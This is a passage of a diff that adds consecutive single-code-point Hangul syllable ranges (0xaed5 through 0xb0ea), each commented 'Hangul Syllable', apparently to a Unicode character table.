+ [0xaed5, 0xaed5], /* Hangul Syllable */
+ [0xaed6, 0xaed6], /* Hangul Syllable */
+ [0xaed7, 0xaed7], /* Hangul Syllable */
+ [0xaed8, 0xaed8], /* Hangul Syllable */
+ [0xaed9, 0xaed9], /* Hangul Syllable */
+ [0xaeda, 0xaeda], /* Hangul Syllable */
+ [0xaedb, 0xaedb], /* Hangul Syllable */
+ [0xaedc, 0xaedc], /* Hangul Syllable */
+ [0xaedd, 0xaedd], /* Hangul Syllable */
+ [0xaede, 0xaede], /* Hangul Syllable */
+ [0xaedf, 0xaedf], /* Hangul Syllable */
+ [0xaee0, 0xaee0], /* Hangul Syllable */
+ [0xaee1, 0xaee1], /* Hangul Syllable */
+ [0xaee2, 0xaee2], /* Hangul Syllable */
+ [0xaee3, 0xaee3], /* Hangul Syllable */
+ [0xaee4, 0xaee4], /* Hangul Syllable */
+ [0xaee5, 0xaee5], /* Hangul Syllable */
+ [0xaee6, 0xaee6], /* Hangul Syllable */
+ [0xaee7, 0xaee7], /* Hangul Syllable */
+ [0xaee8, 0xaee8], /* Hangul Syllable */
+ [0xaee9, 0xaee9], /* Hangul Syllable */
+ [0xaeea, 0xaeea], /* Hangul Syllable */
+ [0xaeeb, 0xaeeb], /* Hangul Syllable */
+ [0xaeec, 0xaeec], /* Hangul Syllable */
+ [0xaeed, 0xaeed], /* Hangul Syllable */
+ [0xaeee, 0xaeee], /* Hangul Syllable */
+ [0xaeef, 0xaeef], /* Hangul Syllable */
+ [0xaef0, 0xaef0], /* Hangul Syllable */
+ [0xaef1, 0xaef1], /* Hangul Syllable */
+ [0xaef2, 0xaef2], /* Hangul Syllable */
+ [0xaef3, 0xaef3], /* Hangul Syllable */
+ [0xaef4, 0xaef4], /* Hangul Syllable */
+ [0xaef5, 0xaef5], /* Hangul Syllable */
+ [0xaef6, 0xaef6], /* Hangul Syllable */
+ [0xaef7, 0xaef7], /* Hangul Syllable */
+ [0xaef8, 0xaef8], /* Hangul Syllable */
+ [0xaef9, 0xaef9], /* Hangul Syllable */
+ [0xaefa, 0xaefa], /* Hangul Syllable */
+ [0xaefb, 0xaefb], /* Hangul Syllable */
+ [0xaefc, 0xaefc], /* Hangul Syllable */
+ [0xaefd, 0xaefd], /* Hangul Syllable */
+ [0xaefe, 0xaefe], /* Hangul Syllable */
+ [0xaeff, 0xaeff], /* Hangul Syllable */
+ [0xaf00, 0xaf00], /* Hangul Syllable */
+ [0xaf01, 0xaf01], /* Hangul Syllable */
+ [0xaf02, 0xaf02], /* Hangul Syllable */
+ [0xaf03, 0xaf03], /* Hangul Syllable */
+ [0xaf04, 0xaf04], /* Hangul Syllable */
+ [0xaf05, 0xaf05], /* Hangul Syllable */
+ [0xaf06, 0xaf06], /* Hangul Syllable */
+ [0xaf07, 0xaf07], /* Hangul Syllable */
+ [0xaf08, 0xaf08], /* Hangul Syllable */
+ [0xaf09, 0xaf09], /* Hangul Syllable */
+ [0xaf0a, 0xaf0a], /* Hangul Syllable */
+ [0xaf0b, 0xaf0b], /* Hangul Syllable */
+ [0xaf0c, 0xaf0c], /* Hangul Syllable */
+ [0xaf0d, 0xaf0d], /* Hangul Syllable */
+ [0xaf0e, 0xaf0e], /* Hangul Syllable */
+ [0xaf0f, 0xaf0f], /* Hangul Syllable */
+ [0xaf10, 0xaf10], /* Hangul Syllable */
+ [0xaf11, 0xaf11], /* Hangul Syllable */
+ [0xaf12, 0xaf12], /* Hangul Syllable */
+ [0xaf13, 0xaf13], /* Hangul Syllable */
+ [0xaf14, 0xaf14], /* Hangul Syllable */
+ [0xaf15, 0xaf15], /* Hangul Syllable */
+ [0xaf16, 0xaf16], /* Hangul Syllable */
+ [0xaf17, 0xaf17], /* Hangul Syllable */
+ [0xaf18, 0xaf18], /* Hangul Syllable */
+ [0xaf19, 0xaf19], /* Hangul Syllable */
+ [0xaf1a, 0xaf1a], /* Hangul Syllable */
+ [0xaf1b, 0xaf1b], /* Hangul Syllable */
+ [0xaf1c, 0xaf1c], /* Hangul Syllable */
+ [0xaf1d, 0xaf1d], /* Hangul Syllable */
+ [0xaf1e, 0xaf1e], /* Hangul Syllable */
+ [0xaf1f, 0xaf1f], /* Hangul Syllable */
+ [0xaf20, 0xaf20], /* Hangul Syllable */
+ [0xaf21, 0xaf21], /* Hangul Syllable */
+ [0xaf22, 0xaf22], /* Hangul Syllable */
+ [0xaf23, 0xaf23], /* Hangul Syllable */
+ [0xaf24, 0xaf24], /* Hangul Syllable */
+ [0xaf25, 0xaf25], /* Hangul Syllable */
+ [0xaf26, 0xaf26], /* Hangul Syllable */
+ [0xaf27, 0xaf27], /* Hangul Syllable */
+ [0xaf28, 0xaf28], /* Hangul Syllable */
+ [0xaf29, 0xaf29], /* Hangul Syllable */
+ [0xaf2a, 0xaf2a], /* Hangul Syllable */
+ [0xaf2b, 0xaf2b], /* Hangul Syllable */
+ [0xaf2c, 0xaf2c], /* Hangul Syllable */
+ [0xaf2d, 0xaf2d], /* Hangul Syllable */
+ [0xaf2e, 0xaf2e], /* Hangul Syllable */
+ [0xaf2f, 0xaf2f], /* Hangul Syllable */
+ [0xaf30, 0xaf30], /* Hangul Syllable */
+ [0xaf31, 0xaf31], /* Hangul Syllable */
+ [0xaf32, 0xaf32], /* Hangul Syllable */
+ [0xaf33, 0xaf33], /* Hangul Syllable */
+ [0xaf34, 0xaf34], /* Hangul Syllable */
+ [0xaf35, 0xaf35], /* Hangul Syllable */
+ [0xaf36, 0xaf36], /* Hangul Syllable */
+ [0xaf37, 0xaf37], /* Hangul Syllable */
+ [0xaf38, 0xaf38], /* Hangul Syllable */
+ [0xaf39, 0xaf39], /* Hangul Syllable */
+ [0xaf3a, 0xaf3a], /* Hangul Syllable */
+ [0xaf3b, 0xaf3b], /* Hangul Syllable */
+ [0xaf3c, 0xaf3c], /* Hangul Syllable */
+ [0xaf3d, 0xaf3d], /* Hangul Syllable */
+ [0xaf3e, 0xaf3e], /* Hangul Syllable */
+ [0xaf3f, 0xaf3f], /* Hangul Syllable */
+ [0xaf40, 0xaf40], /* Hangul Syllable */
+ [0xaf41, 0xaf41], /* Hangul Syllable */
+ [0xaf42, 0xaf42], /* Hangul Syllable */
+ [0xaf43, 0xaf43], /* Hangul Syllable */
+ [0xaf44, 0xaf44], /* Hangul Syllable */
+ [0xaf45, 0xaf45], /* Hangul Syllable */
+ [0xaf46, 0xaf46], /* Hangul Syllable */
+ [0xaf47, 0xaf47], /* Hangul Syllable */
+ [0xaf48, 0xaf48], /* Hangul Syllable */
+ [0xaf49, 0xaf49], /* Hangul Syllable */
+ [0xaf4a, 0xaf4a], /* Hangul Syllable */
+ [0xaf4b, 0xaf4b], /* Hangul Syllable */
+ [0xaf4c, 0xaf4c], /* Hangul Syllable */
+ [0xaf4d, 0xaf4d], /* Hangul Syllable */
+ [0xaf4e, 0xaf4e], /* Hangul Syllable */
+ [0xaf4f, 0xaf4f], /* Hangul Syllable */
+ [0xaf50, 0xaf50], /* Hangul Syllable */
+ [0xaf51, 0xaf51], /* Hangul Syllable */
+ [0xaf52, 0xaf52], /* Hangul Syllable */
+ [0xaf53, 0xaf53], /* Hangul Syllable */
+ [0xaf54, 0xaf54], /* Hangul Syllable */
+ [0xaf55, 0xaf55], /* Hangul Syllable */
+ [0xaf56, 0xaf56], /* Hangul Syllable */
+ [0xaf57, 0xaf57], /* Hangul Syllable */
+ [0xaf58, 0xaf58], /* Hangul Syllable */
+ [0xaf59, 0xaf59], /* Hangul Syllable */
+ [0xaf5a, 0xaf5a], /* Hangul Syllable */
+ [0xaf5b, 0xaf5b], /* Hangul Syllable */
+ [0xaf5c, 0xaf5c], /* Hangul Syllable */
+ [0xaf5d, 0xaf5d], /* Hangul Syllable */
+ [0xaf5e, 0xaf5e], /* Hangul Syllable */
+ [0xaf5f, 0xaf5f], /* Hangul Syllable */
+ [0xaf60, 0xaf60], /* Hangul Syllable */
+ [0xaf61, 0xaf61], /* Hangul Syllable */
+ [0xaf62, 0xaf62], /* Hangul Syllable */
+ [0xaf63, 0xaf63], /* Hangul Syllable */
+ [0xaf64, 0xaf64], /* Hangul Syllable */
+ [0xaf65, 0xaf65], /* Hangul Syllable */
+ [0xaf66, 0xaf66], /* Hangul Syllable */
+ [0xaf67, 0xaf67], /* Hangul Syllable */
+ [0xaf68, 0xaf68], /* Hangul Syllable */
+ [0xaf69, 0xaf69], /* Hangul Syllable */
+ [0xaf6a, 0xaf6a], /* Hangul Syllable */
+ [0xaf6b, 0xaf6b], /* Hangul Syllable */
+ [0xaf6c, 0xaf6c], /* Hangul Syllable */
+ [0xaf6d, 0xaf6d], /* Hangul Syllable */
+ [0xaf6e, 0xaf6e], /* Hangul Syllable */
+ [0xaf6f, 0xaf6f], /* Hangul Syllable */
+ [0xaf70, 0xaf70], /* Hangul Syllable */
+ [0xaf71, 0xaf71], /* Hangul Syllable */
+ [0xaf72, 0xaf72], /* Hangul Syllable */
+ [0xaf73, 0xaf73], /* Hangul Syllable */
+ [0xaf74, 0xaf74], /* Hangul Syllable */
+ [0xaf75, 0xaf75], /* Hangul Syllable */
+ [0xaf76, 0xaf76], /* Hangul Syllable */
+ [0xaf77, 0xaf77], /* Hangul Syllable */
+ [0xaf78, 0xaf78], /* Hangul Syllable */
+ [0xaf79, 0xaf79], /* Hangul Syllable */
+ [0xaf7a, 0xaf7a], /* Hangul Syllable */
+ [0xaf7b, 0xaf7b], /* Hangul Syllable */
+ [0xaf7c, 0xaf7c], /* Hangul Syllable */
+ [0xaf7d, 0xaf7d], /* Hangul Syllable */
+ [0xaf7e, 0xaf7e], /* Hangul Syllable */
+ [0xaf7f, 0xaf7f], /* Hangul Syllable */
+ [0xaf80, 0xaf80], /* Hangul Syllable */
+ [0xaf81, 0xaf81], /* Hangul Syllable */
+ [0xaf82, 0xaf82], /* Hangul Syllable */
+ [0xaf83, 0xaf83], /* Hangul Syllable */
+ [0xaf84, 0xaf84], /* Hangul Syllable */
+ [0xaf85, 0xaf85], /* Hangul Syllable */
+ [0xaf86, 0xaf86], /* Hangul Syllable */
+ [0xaf87, 0xaf87], /* Hangul Syllable */
+ [0xaf88, 0xaf88], /* Hangul Syllable */
+ [0xaf89, 0xaf89], /* Hangul Syllable */
+ [0xaf8a, 0xaf8a], /* Hangul Syllable */
+ [0xaf8b, 0xaf8b], /* Hangul Syllable */
+ [0xaf8c, 0xaf8c], /* Hangul Syllable */
+ [0xaf8d, 0xaf8d], /* Hangul Syllable */
+ [0xaf8e, 0xaf8e], /* Hangul Syllable */
+ [0xaf8f, 0xaf8f], /* Hangul Syllable */
+ [0xaf90, 0xaf90], /* Hangul Syllable */
+ [0xaf91, 0xaf91], /* Hangul Syllable */
+ [0xaf92, 0xaf92], /* Hangul Syllable */
+ [0xaf93, 0xaf93], /* Hangul Syllable */
+ [0xaf94, 0xaf94], /* Hangul Syllable */
+ [0xaf95, 0xaf95], /* Hangul Syllable */
+ [0xaf96, 0xaf96], /* Hangul Syllable */
+ [0xaf97, 0xaf97], /* Hangul Syllable */
+ [0xaf98, 0xaf98], /* Hangul Syllable */
+ [0xaf99, 0xaf99], /* Hangul Syllable */
+ [0xaf9a, 0xaf9a], /* Hangul Syllable */
+ [0xaf9b, 0xaf9b], /* Hangul Syllable */
+ [0xaf9c, 0xaf9c], /* Hangul Syllable */
+ [0xaf9d, 0xaf9d], /* Hangul Syllable */
+ [0xaf9e, 0xaf9e], /* Hangul Syllable */
+ [0xaf9f, 0xaf9f], /* Hangul Syllable */
+ [0xafa0, 0xafa0], /* Hangul Syllable */
+ [0xafa1, 0xafa1], /* Hangul Syllable */
+ [0xafa2, 0xafa2], /* Hangul Syllable */
+ [0xafa3, 0xafa3], /* Hangul Syllable */
+ [0xafa4, 0xafa4], /* Hangul Syllable */
+ [0xafa5, 0xafa5], /* Hangul Syllable */
+ [0xafa6, 0xafa6], /* Hangul Syllable */
+ [0xafa7, 0xafa7], /* Hangul Syllable */
+ [0xafa8, 0xafa8], /* Hangul Syllable */
+ [0xafa9, 0xafa9], /* Hangul Syllable */
+ [0xafaa, 0xafaa], /* Hangul Syllable */
+ [0xafab, 0xafab], /* Hangul Syllable */
+ [0xafac, 0xafac], /* Hangul Syllable */
+ [0xafad, 0xafad], /* Hangul Syllable */
+ [0xafae, 0xafae], /* Hangul Syllable */
+ [0xafaf, 0xafaf], /* Hangul Syllable */
+ [0xafb0, 0xafb0], /* Hangul Syllable */
+ [0xafb1, 0xafb1], /* Hangul Syllable */
+ [0xafb2, 0xafb2], /* Hangul Syllable */
+ [0xafb3, 0xafb3], /* Hangul Syllable */
+ [0xafb4, 0xafb4], /* Hangul Syllable */
+ [0xafb5, 0xafb5], /* Hangul Syllable */
+ [0xafb6, 0xafb6], /* Hangul Syllable */
+ [0xafb7, 0xafb7], /* Hangul Syllable */
+ [0xafb8, 0xafb8], /* Hangul Syllable */
+ [0xafb9, 0xafb9], /* Hangul Syllable */
+ [0xafba, 0xafba], /* Hangul Syllable */
+ [0xafbb, 0xafbb], /* Hangul Syllable */
+ [0xafbc, 0xafbc], /* Hangul Syllable */
+ [0xafbd, 0xafbd], /* Hangul Syllable */
+ [0xafbe, 0xafbe], /* Hangul Syllable */
+ [0xafbf, 0xafbf], /* Hangul Syllable */
+ [0xafc0, 0xafc0], /* Hangul Syllable */
+ [0xafc1, 0xafc1], /* Hangul Syllable */
+ [0xafc2, 0xafc2], /* Hangul Syllable */
+ [0xafc3, 0xafc3], /* Hangul Syllable */
+ [0xafc4, 0xafc4], /* Hangul Syllable */
+ [0xafc5, 0xafc5], /* Hangul Syllable */
+ [0xafc6, 0xafc6], /* Hangul Syllable */
+ [0xafc7, 0xafc7], /* Hangul Syllable */
+ [0xafc8, 0xafc8], /* Hangul Syllable */
+ [0xafc9, 0xafc9], /* Hangul Syllable */
+ [0xafca, 0xafca], /* Hangul Syllable */
+ [0xafcb, 0xafcb], /* Hangul Syllable */
+ [0xafcc, 0xafcc], /* Hangul Syllable */
+ [0xafcd, 0xafcd], /* Hangul Syllable */
+ [0xafce, 0xafce], /* Hangul Syllable */
+ [0xafcf, 0xafcf], /* Hangul Syllable */
+ [0xafd0, 0xafd0], /* Hangul Syllable */
+ [0xafd1, 0xafd1], /* Hangul Syllable */
+ [0xafd2, 0xafd2], /* Hangul Syllable */
+ [0xafd3, 0xafd3], /* Hangul Syllable */
+ [0xafd4, 0xafd4], /* Hangul Syllable */
+ [0xafd5, 0xafd5], /* Hangul Syllable */
+ [0xafd6, 0xafd6], /* Hangul Syllable */
+ [0xafd7, 0xafd7], /* Hangul Syllable */
+ [0xafd8, 0xafd8], /* Hangul Syllable */
+ [0xafd9, 0xafd9], /* Hangul Syllable */
+ [0xafda, 0xafda], /* Hangul Syllable */
+ [0xafdb, 0xafdb], /* Hangul Syllable */
+ [0xafdc, 0xafdc], /* Hangul Syllable */
+ [0xafdd, 0xafdd], /* Hangul Syllable */
+ [0xafde, 0xafde], /* Hangul Syllable */
+ [0xafdf, 0xafdf], /* Hangul Syllable */
+ [0xafe0, 0xafe0], /* Hangul Syllable */
+ [0xafe1, 0xafe1], /* Hangul Syllable */
+ [0xafe2, 0xafe2], /* Hangul Syllable */
+ [0xafe3, 0xafe3], /* Hangul Syllable */
+ [0xafe4, 0xafe4], /* Hangul Syllable */
+ [0xafe5, 0xafe5], /* Hangul Syllable */
+ [0xafe6, 0xafe6], /* Hangul Syllable */
+ [0xafe7, 0xafe7], /* Hangul Syllable */
+ [0xafe8, 0xafe8], /* Hangul Syllable */
+ [0xafe9, 0xafe9], /* Hangul Syllable */
+ [0xafea, 0xafea], /* Hangul Syllable */
+ [0xafeb, 0xafeb], /* Hangul Syllable */
+ [0xafec, 0xafec], /* Hangul Syllable */
+ [0xafed, 0xafed], /* Hangul Syllable */
+ [0xafee, 0xafee], /* Hangul Syllable */
+ [0xafef, 0xafef], /* Hangul Syllable */
+ [0xaff0, 0xaff0], /* Hangul Syllable */
+ [0xaff1, 0xaff1], /* Hangul Syllable */
+ [0xaff2, 0xaff2], /* Hangul Syllable */
+ [0xaff3, 0xaff3], /* Hangul Syllable */
+ [0xaff4, 0xaff4], /* Hangul Syllable */
+ [0xaff5, 0xaff5], /* Hangul Syllable */
+ [0xaff6, 0xaff6], /* Hangul Syllable */
+ [0xaff7, 0xaff7], /* Hangul Syllable */
+ [0xaff8, 0xaff8], /* Hangul Syllable */
+ [0xaff9, 0xaff9], /* Hangul Syllable */
+ [0xaffa, 0xaffa], /* Hangul Syllable */
+ [0xaffb, 0xaffb], /* Hangul Syllable */
+ [0xaffc, 0xaffc], /* Hangul Syllable */
+ [0xaffd, 0xaffd], /* Hangul Syllable */
+ [0xaffe, 0xaffe], /* Hangul Syllable */
+ [0xafff, 0xafff], /* Hangul Syllable */
+ [0xb000, 0xb000], /* Hangul Syllable */
+ [0xb001, 0xb001], /* Hangul Syllable */
+ [0xb002, 0xb002], /* Hangul Syllable */
+ [0xb003, 0xb003], /* Hangul Syllable */
+ [0xb004, 0xb004], /* Hangul Syllable */
+ [0xb005, 0xb005], /* Hangul Syllable */
+ [0xb006, 0xb006], /* Hangul Syllable */
+ [0xb007, 0xb007], /* Hangul Syllable */
+ [0xb008, 0xb008], /* Hangul Syllable */
+ [0xb009, 0xb009], /* Hangul Syllable */
+ [0xb00a, 0xb00a], /* Hangul Syllable */
+ [0xb00b, 0xb00b], /* Hangul Syllable */
+ [0xb00c, 0xb00c], /* Hangul Syllable */
+ [0xb00d, 0xb00d], /* Hangul Syllable */
+ [0xb00e, 0xb00e], /* Hangul Syllable */
+ [0xb00f, 0xb00f], /* Hangul Syllable */
+ [0xb010, 0xb010], /* Hangul Syllable */
+ [0xb011, 0xb011], /* Hangul Syllable */
+ [0xb012, 0xb012], /* Hangul Syllable */
+ [0xb013, 0xb013], /* Hangul Syllable */
+ [0xb014, 0xb014], /* Hangul Syllable */
+ [0xb015, 0xb015], /* Hangul Syllable */
+ [0xb016, 0xb016], /* Hangul Syllable */
+ [0xb017, 0xb017], /* Hangul Syllable */
+ [0xb018, 0xb018], /* Hangul Syllable */
+ [0xb019, 0xb019], /* Hangul Syllable */
+ [0xb01a, 0xb01a], /* Hangul Syllable */
+ [0xb01b, 0xb01b], /* Hangul Syllable */
+ [0xb01c, 0xb01c], /* Hangul Syllable */
+ [0xb01d, 0xb01d], /* Hangul Syllable */
+ [0xb01e, 0xb01e], /* Hangul Syllable */
+ [0xb01f, 0xb01f], /* Hangul Syllable */
+ [0xb020, 0xb020], /* Hangul Syllable */
+ [0xb021, 0xb021], /* Hangul Syllable */
+ [0xb022, 0xb022], /* Hangul Syllable */
+ [0xb023, 0xb023], /* Hangul Syllable */
+ [0xb024, 0xb024], /* Hangul Syllable */
+ [0xb025, 0xb025], /* Hangul Syllable */
+ [0xb026, 0xb026], /* Hangul Syllable */
+ [0xb027, 0xb027], /* Hangul Syllable */
+ [0xb028, 0xb028], /* Hangul Syllable */
+ [0xb029, 0xb029], /* Hangul Syllable */
+ [0xb02a, 0xb02a], /* Hangul Syllable */
+ [0xb02b, 0xb02b], /* Hangul Syllable */
+ [0xb02c, 0xb02c], /* Hangul Syllable */
+ [0xb02d, 0xb02d], /* Hangul Syllable */
+ [0xb02e, 0xb02e], /* Hangul Syllable */
+ [0xb02f, 0xb02f], /* Hangul Syllable */
+ [0xb030, 0xb030], /* Hangul Syllable */
+ [0xb031, 0xb031], /* Hangul Syllable */
+ [0xb032, 0xb032], /* Hangul Syllable */
+ [0xb033, 0xb033], /* Hangul Syllable */
+ [0xb034, 0xb034], /* Hangul Syllable */
+ [0xb035, 0xb035], /* Hangul Syllable */
+ [0xb036, 0xb036], /* Hangul Syllable */
+ [0xb037, 0xb037], /* Hangul Syllable */
+ [0xb038, 0xb038], /* Hangul Syllable */
+ [0xb039, 0xb039], /* Hangul Syllable */
+ [0xb03a, 0xb03a], /* Hangul Syllable */
+ [0xb03b, 0xb03b], /* Hangul Syllable */
+ [0xb03c, 0xb03c], /* Hangul Syllable */
+ [0xb03d, 0xb03d], /* Hangul Syllable */
+ [0xb03e, 0xb03e], /* Hangul Syllable */
+ [0xb03f, 0xb03f], /* Hangul Syllable */
+ [0xb040, 0xb040], /* Hangul Syllable */
+ [0xb041, 0xb041], /* Hangul Syllable */
+ [0xb042, 0xb042], /* Hangul Syllable */
+ [0xb043, 0xb043], /* Hangul Syllable */
+ [0xb044, 0xb044], /* Hangul Syllable */
+ [0xb045, 0xb045], /* Hangul Syllable */
+ [0xb046, 0xb046], /* Hangul Syllable */
+ [0xb047, 0xb047], /* Hangul Syllable */
+ [0xb048, 0xb048], /* Hangul Syllable */
+ [0xb049, 0xb049], /* Hangul Syllable */
+ [0xb04a, 0xb04a], /* Hangul Syllable */
+ [0xb04b, 0xb04b], /* Hangul Syllable */
+ [0xb04c, 0xb04c], /* Hangul Syllable */
+ [0xb04d, 0xb04d], /* Hangul Syllable */
+ [0xb04e, 0xb04e], /* Hangul Syllable */
+ [0xb04f, 0xb04f], /* Hangul Syllable */
+ [0xb050, 0xb050], /* Hangul Syllable */
+ [0xb051, 0xb051], /* Hangul Syllable */
+ [0xb052, 0xb052], /* Hangul Syllable */
+ [0xb053, 0xb053], /* Hangul Syllable */
+ [0xb054, 0xb054], /* Hangul Syllable */
+ [0xb055, 0xb055], /* Hangul Syllable */
+ [0xb056, 0xb056], /* Hangul Syllable */
+ [0xb057, 0xb057], /* Hangul Syllable */
+ [0xb058, 0xb058], /* Hangul Syllable */
+ [0xb059, 0xb059], /* Hangul Syllable */
+ [0xb05a, 0xb05a], /* Hangul Syllable */
+ [0xb05b, 0xb05b], /* Hangul Syllable */
+ [0xb05c, 0xb05c], /* Hangul Syllable */
+ [0xb05d, 0xb05d], /* Hangul Syllable */
+ [0xb05e, 0xb05e], /* Hangul Syllable */
+ [0xb05f, 0xb05f], /* Hangul Syllable */
+ [0xb060, 0xb060], /* Hangul Syllable */
+ [0xb061, 0xb061], /* Hangul Syllable */
+ [0xb062, 0xb062], /* Hangul Syllable */
+ [0xb063, 0xb063], /* Hangul Syllable */
+ [0xb064, 0xb064], /* Hangul Syllable */
+ [0xb065, 0xb065], /* Hangul Syllable */
+ [0xb066, 0xb066], /* Hangul Syllable */
+ [0xb067, 0xb067], /* Hangul Syllable */
+ [0xb068, 0xb068], /* Hangul Syllable */
+ [0xb069, 0xb069], /* Hangul Syllable */
+ [0xb06a, 0xb06a], /* Hangul Syllable */
+ [0xb06b, 0xb06b], /* Hangul Syllable */
+ [0xb06c, 0xb06c], /* Hangul Syllable */
+ [0xb06d, 0xb06d], /* Hangul Syllable */
+ [0xb06e, 0xb06e], /* Hangul Syllable */
+ [0xb06f, 0xb06f], /* Hangul Syllable */
+ [0xb070, 0xb070], /* Hangul Syllable */
+ [0xb071, 0xb071], /* Hangul Syllable */
+ [0xb072, 0xb072], /* Hangul Syllable */
+ [0xb073, 0xb073], /* Hangul Syllable */
+ [0xb074, 0xb074], /* Hangul Syllable */
+ [0xb075, 0xb075], /* Hangul Syllable */
+ [0xb076, 0xb076], /* Hangul Syllable */
+ [0xb077, 0xb077], /* Hangul Syllable */
+ [0xb078, 0xb078], /* Hangul Syllable */
+ [0xb079, 0xb079], /* Hangul Syllable */
+ [0xb07a, 0xb07a], /* Hangul Syllable */
+ [0xb07b, 0xb07b], /* Hangul Syllable */
+ [0xb07c, 0xb07c], /* Hangul Syllable */
+ [0xb07d, 0xb07d], /* Hangul Syllable */
+ [0xb07e, 0xb07e], /* Hangul Syllable */
+ [0xb07f, 0xb07f], /* Hangul Syllable */
+ [0xb080, 0xb080], /* Hangul Syllable */
+ [0xb081, 0xb081], /* Hangul Syllable */
+ [0xb082, 0xb082], /* Hangul Syllable */
+ [0xb083, 0xb083], /* Hangul Syllable */
+ [0xb084, 0xb084], /* Hangul Syllable */
+ [0xb085, 0xb085], /* Hangul Syllable */
+ [0xb086, 0xb086], /* Hangul Syllable */
+ [0xb087, 0xb087], /* Hangul Syllable */
+ [0xb088, 0xb088], /* Hangul Syllable */
+ [0xb089, 0xb089], /* Hangul Syllable */
+ [0xb08a, 0xb08a], /* Hangul Syllable */
+ [0xb08b, 0xb08b], /* Hangul Syllable */
+ [0xb08c, 0xb08c], /* Hangul Syllable */
+ [0xb08d, 0xb08d], /* Hangul Syllable */
+ [0xb08e, 0xb08e], /* Hangul Syllable */
+ [0xb08f, 0xb08f], /* Hangul Syllable */
+ [0xb090, 0xb090], /* Hangul Syllable */
+ [0xb091, 0xb091], /* Hangul Syllable */
+ [0xb092, 0xb092], /* Hangul Syllable */
+ [0xb093, 0xb093], /* Hangul Syllable */
+ [0xb094, 0xb094], /* Hangul Syllable */
+ [0xb095, 0xb095], /* Hangul Syllable */
+ [0xb096, 0xb096], /* Hangul Syllable */
+ [0xb097, 0xb097], /* Hangul Syllable */
+ [0xb098, 0xb098], /* Hangul Syllable */
+ [0xb099, 0xb099], /* Hangul Syllable */
+ [0xb09a, 0xb09a], /* Hangul Syllable */
+ [0xb09b, 0xb09b], /* Hangul Syllable */
+ [0xb09c, 0xb09c], /* Hangul Syllable */
+ [0xb09d, 0xb09d], /* Hangul Syllable */
+ [0xb09e, 0xb09e], /* Hangul Syllable */
+ [0xb09f, 0xb09f], /* Hangul Syllable */
+ [0xb0a0, 0xb0a0], /* Hangul Syllable */
+ [0xb0a1, 0xb0a1], /* Hangul Syllable */
+ [0xb0a2, 0xb0a2], /* Hangul Syllable */
+ [0xb0a3, 0xb0a3], /* Hangul Syllable */
+ [0xb0a4, 0xb0a4], /* Hangul Syllable */
+ [0xb0a5, 0xb0a5], /* Hangul Syllable */
+ [0xb0a6, 0xb0a6], /* Hangul Syllable */
+ [0xb0a7, 0xb0a7], /* Hangul Syllable */
+ [0xb0a8, 0xb0a8], /* Hangul Syllable */
+ [0xb0a9, 0xb0a9], /* Hangul Syllable */
+ [0xb0aa, 0xb0aa], /* Hangul Syllable */
+ [0xb0ab, 0xb0ab], /* Hangul Syllable */
+ [0xb0ac, 0xb0ac], /* Hangul Syllable */
+ [0xb0ad, 0xb0ad], /* Hangul Syllable */
+ [0xb0ae, 0xb0ae], /* Hangul Syllable */
+ [0xb0af, 0xb0af], /* Hangul Syllable */
+ [0xb0b0, 0xb0b0], /* Hangul Syllable */
+ [0xb0b1, 0xb0b1], /* Hangul Syllable */
+ [0xb0b2, 0xb0b2], /* Hangul Syllable */
+ [0xb0b3, 0xb0b3], /* Hangul Syllable */
+ [0xb0b4, 0xb0b4], /* Hangul Syllable */
+ [0xb0b5, 0xb0b5], /* Hangul Syllable */
+ [0xb0b6, 0xb0b6], /* Hangul Syllable */
+ [0xb0b7, 0xb0b7], /* Hangul Syllable */
+ [0xb0b8, 0xb0b8], /* Hangul Syllable */
+ [0xb0b9, 0xb0b9], /* Hangul Syllable */
+ [0xb0ba, 0xb0ba], /* Hangul Syllable */
+ [0xb0bb, 0xb0bb], /* Hangul Syllable */
+ [0xb0bc, 0xb0bc], /* Hangul Syllable */
+ [0xb0bd, 0xb0bd], /* Hangul Syllable */
+ [0xb0be, 0xb0be], /* Hangul Syllable */
+ [0xb0bf, 0xb0bf], /* Hangul Syllable */
+ [0xb0c0, 0xb0c0], /* Hangul Syllable */
+ [0xb0c1, 0xb0c1], /* Hangul Syllable */
+ [0xb0c2, 0xb0c2], /* Hangul Syllable */
+ [0xb0c3, 0xb0c3], /* Hangul Syllable */
+ [0xb0c4, 0xb0c4], /* Hangul Syllable */
+ [0xb0c5, 0xb0c5], /* Hangul Syllable */
+ [0xb0c6, 0xb0c6], /* Hangul Syllable */
+ [0xb0c7, 0xb0c7], /* Hangul Syllable */
+ [0xb0c8, 0xb0c8], /* Hangul Syllable */
+ [0xb0c9, 0xb0c9], /* Hangul Syllable */
+ [0xb0ca, 0xb0ca], /* Hangul Syllable */
+ [0xb0cb, 0xb0cb], /* Hangul Syllable */
+ [0xb0cc, 0xb0cc], /* Hangul Syllable */
+ [0xb0cd, 0xb0cd], /* Hangul Syllable */
+ [0xb0ce, 0xb0ce], /* Hangul Syllable */
+ [0xb0cf, 0xb0cf], /* Hangul Syllable */
+ [0xb0d0, 0xb0d0], /* Hangul Syllable */
+ [0xb0d1, 0xb0d1], /* Hangul Syllable */
+ [0xb0d2, 0xb0d2], /* Hangul Syllable */
+ [0xb0d3, 0xb0d3], /* Hangul Syllable */
+ [0xb0d4, 0xb0d4], /* Hangul Syllable */
+ [0xb0d5, 0xb0d5], /* Hangul Syllable */
+ [0xb0d6, 0xb0d6], /* Hangul Syllable */
+ [0xb0d7, 0xb0d7], /* Hangul Syllable */
+ [0xb0d8, 0xb0d8], /* Hangul Syllable */
+ [0xb0d9, 0xb0d9], /* Hangul Syllable */
+ [0xb0da, 0xb0da], /* Hangul Syllable */
+ [0xb0db, 0xb0db], /* Hangul Syllable */
+ [0xb0dc, 0xb0dc], /* Hangul Syllable */
+ [0xb0dd, 0xb0dd], /* Hangul Syllable */
+ [0xb0de, 0xb0de], /* Hangul Syllable */
+ [0xb0df, 0xb0df], /* Hangul Syllable */
+ [0xb0e0, 0xb0e0], /* Hangul Syllable */
+ [0xb0e1, 0xb0e1], /* Hangul Syllable */
+ [0xb0e2, 0xb0e2], /* Hangul Syllable */
+ [0xb0e3, 0xb0e3], /* Hangul Syllable */
+ [0xb0e4, 0xb0e4], /* Hangul Syllable */
+ [0xb0e5, 0xb0e5], /* Hangul Syllable */
+ [0xb0e6, 0xb0e6], /* Hangul Syllable */
+ [0xb0e7, 0xb0e7], /* Hangul Syllable */
+ [0xb0e8, 0xb0e8], /* Hangul Syllable */
+ [0xb0e9, 0xb0e9], /* Hangul Syllable */
+ [0xb0ea, 0xb0ea], /* Hangul Syllable */
